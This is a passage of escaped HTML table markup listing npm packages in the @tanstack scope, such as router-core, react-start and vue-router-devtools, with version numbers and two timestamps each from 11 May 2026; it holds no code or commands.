href=\"https:\/\/www.npmjs.com\/~tanstack\">@tanstack<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@tanstack\/router-ssr-query-core\">router-ssr-query-core<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">1.168.6<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T19:26:15.821Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T19:31:40.900Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~tanstack\">@tanstack<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@tanstack\/virtual-file-routes\">virtual-file-routes<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">1.161.13<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T19:26:15.112Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T19:31:40.861Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~tanstack\">@tanstack<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@tanstack\/react-router-ssr-query\">react-router-ssr-query<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">1.166.18<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T19:26:14.673Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T19:31:40.434Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~tanstack\">@tanstack<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@tanstack\/nitro-v2-vite-plugin\">nitro-v2-vite-plugin<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">1.154.15<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T19:26:15.172Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T19:31:39.994Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~tanstack\">@tanstack<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@tanstack\/vue-start-server\">vue-start-server<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">1.166.53<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T19:26:15.007Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T19:31:39.739Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~tanstack\">@tanstack<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@tanstack\/solid-router-ssr-query\">solid-router-ssr-query<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">1.166.18<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T19:26:14.370Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T19:31:38.527Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~tanstack\">@tanstack<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@tanstack\/react-start-server\">react-start-server<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">1.166.58<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T19:26:14.861Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T19:31:38.431Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~tanstack\">@tanstack<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@tanstack\/react-start-client\">react-start-client<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">1.166.54<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T19:26:15.316Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T19:31:37.986Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~tanstack\">@tanstack<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@tanstack\/start-fn-stubs\">start-fn-stubs<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">1.161.12<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T19:26:14.651Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T19:31:37.331Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~tanstack\">@tanstack<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@tanstack\/router-utils\">router-utils<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">1.161.14<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T19:26:15.300Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T19:31:36.947Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~tanstack\">@tanstack<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@tanstack\/react-router-devtools\">react-router-devtools<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">1.166.19<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T19:26:15.124Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T19:31:36.664Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~tanstack\">@tanstack<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@tanstack\/solid-router-devtools\">solid-router-devtools<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">1.166.19<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T19:26:15.210Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T19:31:36.578Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~tanstack\">@tanstack<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@tanstack\/history\">history<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">1.161.12<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T19:26:14.690Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T19:31:36.237Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~tanstack\">@tanstack<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@tanstack\/router-cli\">router-cli<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">1.166.49<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T19:26:15.629Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T19:31:35.789Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~tanstack\">@tanstack<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@tanstack\/arktype-adapter\">arktype-adapter<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">1.166.15<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T19:26:14.829Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T19:31:34.905Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~tanstack\">@tanstack<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@tanstack\/vue-router-devtools\">vue-router-devtools<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">1.166.19<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T19:26:14.901Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T19:31:34.845Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~tanstack\">@tanstack<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@tanstack\/zod-adapter\">zod-adapter<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">1.166.15<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T19:26:14.344Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T19:31:34.392Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~tanstack\">@tanstack<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@tanstack\/vue-router-ssr-query\">vue-router-ssr-query<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">1.166.18<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T19:26:14.572Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T19:31:34.330Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~tanstack\">@tanstack<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@tanstack\/start-static-server-functions\">start-static-server-functions<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">1.166.47<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T19:26:14.715Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T19:31:34.140Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~tanstack\">@tanstack<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@tanstack\/router-vite-plugin\">router-vite-plugin<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">1.166.56<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T19:26:14.385Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T19:31:33.908Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~tanstack\">@tanstack<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@tanstack\/valibot-adapter\">valibot-adapter<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">1.166.15<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T19:26:15.163Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T19:31:33.115Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~tanstack\">@tanstack<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@tanstack\/router-devtools\">router-devtools<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">1.166.19<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T19:26:14.544Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T19:31:32.301Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~tanstack\">@tanstack<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@tanstack\/solid-router\">solid-router<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">1.169.5<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T19:20:43.431Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T19:26:57.102Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~tanstack\">@tanstack<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@tanstack\/start-plugin-core\">start-plugin-core<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">1.169.23<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T19:20:43.979Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T19:26:45.153Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~tanstack\">@tanstack<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@tanstack\/router-core\">router-core<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">1.169.5<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T19:20:42.410Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T19:26:43.816Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~tanstack\">@tanstack<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@tanstack\/vue-router\">vue-router<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">1.169.5<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T19:20:42.334Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T19:26:42.187Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~tanstack\">@tanstack<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@tanstack\/react-router\">react-router<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">1.169.5<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T19:20:42.105Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T19:26:38.101Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~tanstack\">@tanstack<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@tanstack\/router-plugin\">router-plugin<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">1.167.38<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T19:20:41.445Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T19:26:13.252Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~tanstack\">@tanstack<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@tanstack\/eslint-plugin-start\">eslint-plugin-start<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.0.4<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T19:20:41.346Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T19:25:58.220Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~tanstack\">@tanstack<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@tanstack\/eslint-plugin-router\">eslint-plugin-router<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">1.161.9<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T19:20:40.628Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T19:25:57.425Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~tanstack\">@tanstack<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@tanstack\/react-start-rsc\">react-start-rsc<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.0.47<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T19:20:41.274Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T19:25:57.271Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~tanstack\">@tanstack<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@tanstack\/react-start\">react-start<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">1.167.68<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T19:20:42.111Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T19:25:55.101Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~tanstack\">@tanstack<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@tanstack\/router-generator\">router-generator<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">1.166.45<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T19:20:41.419Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T19:25:54.399Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~tanstack\">@tanstack<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@tanstack\/start-client-core\">start-client-core<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">1.168.5<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T19:20:41.973Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T19:25:52.142Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~tanstack\">@tanstack<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@tanstack\/router-devtools-core\">router-devtools-core<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">1.167.6<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T19:20:40.288Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T19:25:48.724Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~tanstack\">@tanstack<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@tanstack\/router-utils\">router-utils<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">1.161.11<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T19:20:39.660Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T19:25:47.530Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~tanstack\">@tanstack<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@tanstack\/vue-router-ssr-query\">vue-router-ssr-query<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">1.166.15<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T19:20:39.834Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T19:25:45.323Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~tanstack\">@tanstack<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@tanstack\/arktype-adapter\">arktype-adapter<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">1.166.12<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T19:20:39.821Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T19:25:43.955Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~tanstack\">@tanstack<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@tanstack\/start-server-core\">start-server-core<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">1.167.33<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T19:20:40.294Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T19:25:43.895Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~tanstack\">@tanstack<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@tanstack\/solid-start\">solid-start<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">1.167.65<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T19:20:41.154Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T19:25:41.614Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~tanstack\">@tanstack<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@tanstack\/react-router-devtools\">react-router-devtools<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">1.166.16<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T19:20:39.936Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T19:25:41.008Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~tanstack\">@tanstack<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@tanstack\/solid-router-devtools\">solid-router-devtools<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">1.166.16<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T19:20:39.853Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T19:25:40.578Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~tanstack\">@tanstack<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@tanstack\/router-cli\">router-cli<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">1.166.46<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T19:20:40.567Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T19:25:39.984Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~tanstack\">@tanstack<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@tanstack\/solid-start-server\">solid-start-server<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">1.166.54<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T19:20:39.720Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T19:25:39.556Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~tanstack\">@tanstack<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@tanstack\/vue-router-devtools\">vue-router-devtools<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">1.166.16<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T19:20:39.616Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T19:25:38.780Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~tanstack\">@tanstack<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@tanstack\/virtual-file-routes\">virtual-file-routes<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">1.161.10<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T19:20:40.502Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T19:25:38.506Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~tanstack\">@tanstack<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@tanstack\/router-ssr-query-core\">router-ssr-query-core<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">1.168.3<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T19:20:40.830Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T19:25:38.338Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~tanstack\">@tanstack<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@tanstack\/router-vite-plugin\">router-vite-plugin<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">1.166.53<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T19:20:39.613Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T19:25:37.396Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~tanstack\">@tanstack<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a 